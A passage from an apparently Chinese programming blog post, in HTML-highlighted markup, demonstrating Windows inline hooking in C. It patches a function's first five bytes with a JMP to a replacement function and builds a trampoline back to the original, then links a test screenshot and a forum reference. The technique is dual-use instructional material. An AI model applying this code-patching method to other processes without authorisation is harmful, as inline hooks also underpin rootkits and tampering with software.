Codehighlighter1_76_105_Open_Text.style.display='none'; Codehighlighter1_76_105_Closed_Image.style.display='inline'; Codehighlighter1_76_105_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_76_105_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_76_105_Closed_Text.style.display='none'; Codehighlighter1_76_105_Open_Image.style.display='inline'; Codehighlighter1_76_105_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #000000">BYTE&nbsp;orig_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_76_105_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_76_105_Open_Text><span style="COLOR: #000000">{</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;JMP&nbsp;0xXXXXXXXX</span><span style="COLOR: #008000"><br><img id=Codehighlighter1_146_165_Open_Image onclick="this.style.display='none'; Codehighlighter1_146_165_Open_Text.style.display='none'; Codehighlighter1_146_165_Closed_Image.style.display='inline'; Codehighlighter1_146_165_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_146_165_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_146_165_Closed_Text.style.display='none'; Codehighlighter1_146_165_Open_Image.style.display='inline'; Codehighlighter1_146_165_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span style="COLOR: #000000">BYTE&nbsp;hook_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_146_165_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_146_165_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #000000">0xe9</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;}</span></span><span style="COLOR: #000000">;<br><img id=Codehighlighter1_192_210_Open_Image onclick="this.style.display='none'; Codehighlighter1_192_210_Open_Text.style.display='none'; Codehighlighter1_192_210_Closed_Image.style.display='inline'; Codehighlighter1_192_210_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_192_210_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_192_210_Closed_Text.style.display='none'; Codehighlighter1_192_210_Open_Image.style.display='inline'; Codehighlighter1_192_210_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top>BYTE&nbsp;jmp_orig_code[</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">]&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;</span><span id=Codehighlighter1_192_210_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_192_210_Open_Text><span style="COLOR: #000000">{&nbsp;</span><span style="COLOR: #000000">0xe9</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">,&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">}</span></span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;fake_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;hook_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;jmp_back();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;main(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;argc,&nbsp;</span><span style="COLOR: #0000ff">char</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">argv)<br><img id=Codehighlighter1_311_365_Open_Image onclick="this.style.display='none'; Codehighlighter1_311_365_Open_Text.style.display='none'; Codehighlighter1_311_365_Closed_Image.style.display='inline'; Codehighlighter1_311_365_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_311_365_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_311_365_Closed_Text.style.display='none'; Codehighlighter1_311_365_Open_Image.style.display='inline'; Codehighlighter1_311_365_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_311_365_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_311_365_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;hook_func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;func();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;func()<br><img id=Codehighlighter1_379_433_Open_Image onclick="this.style.display='none'; Codehighlighter1_379_433_Open_Text.style.display='none'; Codehighlighter1_379_433_Closed_Image.style.display='inline'; Codehighlighter1_379_433_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_379_433_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_379_433_Closed_Text.style.display='none'; Codehighlighter1_379_433_Open_Image.style.display='inline'; Codehighlighter1_379_433_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_379_433_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_379_433_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">I'm&nbsp;func(),I'm&nbsp;called!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;hook_func()<br><img id=Codehighlighter1_453_1097_Open_Image onclick="this.style.display='none'; Codehighlighter1_453_1097_Open_Text.style.display='none'; Codehighlighter1_453_1097_Closed_Image.style.display='inline'; Codehighlighter1_453_1097_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_453_1097_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_453_1097_Closed_Text.style.display='none'; Codehighlighter1_453_1097_Open_Image.style.display='inline'; Codehighlighter1_453_1097_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_453_1097_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_453_1097_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;dwOldProtect;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">VirtualProtect(func,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">dwOldProtect))<br><img id=Codehighlighter1_546_600_Open_Image onclick="this.style.display='none'; Codehighlighter1_546_600_Open_Text.style.display='none'; Codehighlighter1_546_600_Closed_Image.style.display='inline'; Codehighlighter1_546_600_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_546_600_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_546_600_Closed_Text.style.display='none'; Codehighlighter1_546_600_Open_Image.style.display='inline'; Codehighlighter1_546_600_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_546_600_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_546_600_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">VirtualProtect&nbsp;error!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">!</span><span style="COLOR: #000000">VirtualProtect(jmp_back,&nbsp;</span><span style="COLOR: #000000">12</span><span style="COLOR: #000000">,&nbsp;PAGE_EXECUTE_READWRITE,&nbsp;</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">dwOldProtect))<br><img id=Codehighlighter1_677_731_Open_Image onclick="this.style.display='none'; Codehighlighter1_677_731_Open_Text.style.display='none'; Codehighlighter1_677_731_Closed_Image.style.display='inline'; Codehighlighter1_677_731_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_677_731_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_677_731_Closed_Text.style.display='none'; Codehighlighter1_677_731_Open_Image.style.display='inline'; Codehighlighter1_677_731_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_677_731_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_677_731_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">VirtualProtect&nbsp;error!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;保存原始操作码</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(orig_code,&nbsp;(BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)func,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;计算fack_func地址</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((ULONG</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)(hook_code</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ULONG)fake_func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;(ULONG)func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;修改原始入口</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)func,&nbsp;hook_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;计算跳回地址</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(&nbsp;(ULONG</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)(jmp_orig_code</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">)&nbsp;)&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;(ULONG)func&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">&nbsp;(ULONG)jmp_back&nbsp;</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;填充jmp_back</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)jmp_back,&nbsp;orig_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);&nbsp;&nbsp;&nbsp;&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;memcpy((BYTE&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)jmp_back</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">,&nbsp;jmp_orig_code,&nbsp;</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>__declspec(naked)&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;jmp_back()<br><img id=Codehighlighter1_1133_1278_Open_Image onclick="this.style.display='none'; Codehighlighter1_1133_1278_Open_Text.style.display='none'; Codehighlighter1_1133_1278_Closed_Image.style.display='inline'; Codehighlighter1_1133_1278_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_1133_1278_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1133_1278_Closed_Text.style.display='none'; Codehighlighter1_1133_1278_Open_Image.style.display='inline'; Codehighlighter1_1133_1278_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_1133_1278_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1133_1278_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;__asm<br><img id=Codehighlighter1_1143_1276_Open_Image onclick="this.style.display='none'; Codehighlighter1_1143_1276_Open_Text.style.display='none'; Codehighlighter1_1143_1276_Closed_Image.style.display='inline'; Codehighlighter1_1143_1276_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockStart.gif" align=top><img id=Codehighlighter1_1143_1276_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1143_1276_Closed_Text.style.display='none'; Codehighlighter1_1143_1276_Open_Image.style.display='inline'; Codehighlighter1_1143_1276_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedSubBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span id=Codehighlighter1_1143_1276_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1143_1276_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_emit&nbsp;</span><span style="COLOR: #000000">0x90</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedSubBlockEnd.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;fake_func()<br><img id=Codehighlighter1_1297_1387_Open_Image onclick="this.style.display='none'; Codehighlighter1_1297_1387_Open_Text.style.display='none'; Codehighlighter1_1297_1387_Closed_Image.style.display='inline'; Codehighlighter1_1297_1387_Closed_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=Codehighlighter1_1297_1387_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; Codehighlighter1_1297_1387_Closed_Text.style.display='none'; Codehighlighter1_1297_1387_Open_Image.style.display='inline'; Codehighlighter1_1297_1387_Open_Text.style.display='inline';" src="http://www.phpweblog.net/Images/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=Codehighlighter1_1297_1387_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff"><img src="http://www.phpweblog.net/Images/dot.gif"></span><span id=Codehighlighter1_1297_1387_Open_Text><span style="COLOR: #000000">{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">I'm&nbsp;fake_func(),I'm&nbsp;called!\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;jmp_back();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;ret;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<br>测试结果:<br><br><img src="http://www.phpweblog.net/images/phpweblog_net/gary/3rh.JPG" border=0>&nbsp;<br><br>参考: http://www.whitecell.org/forums/viewthread.php?tid=360
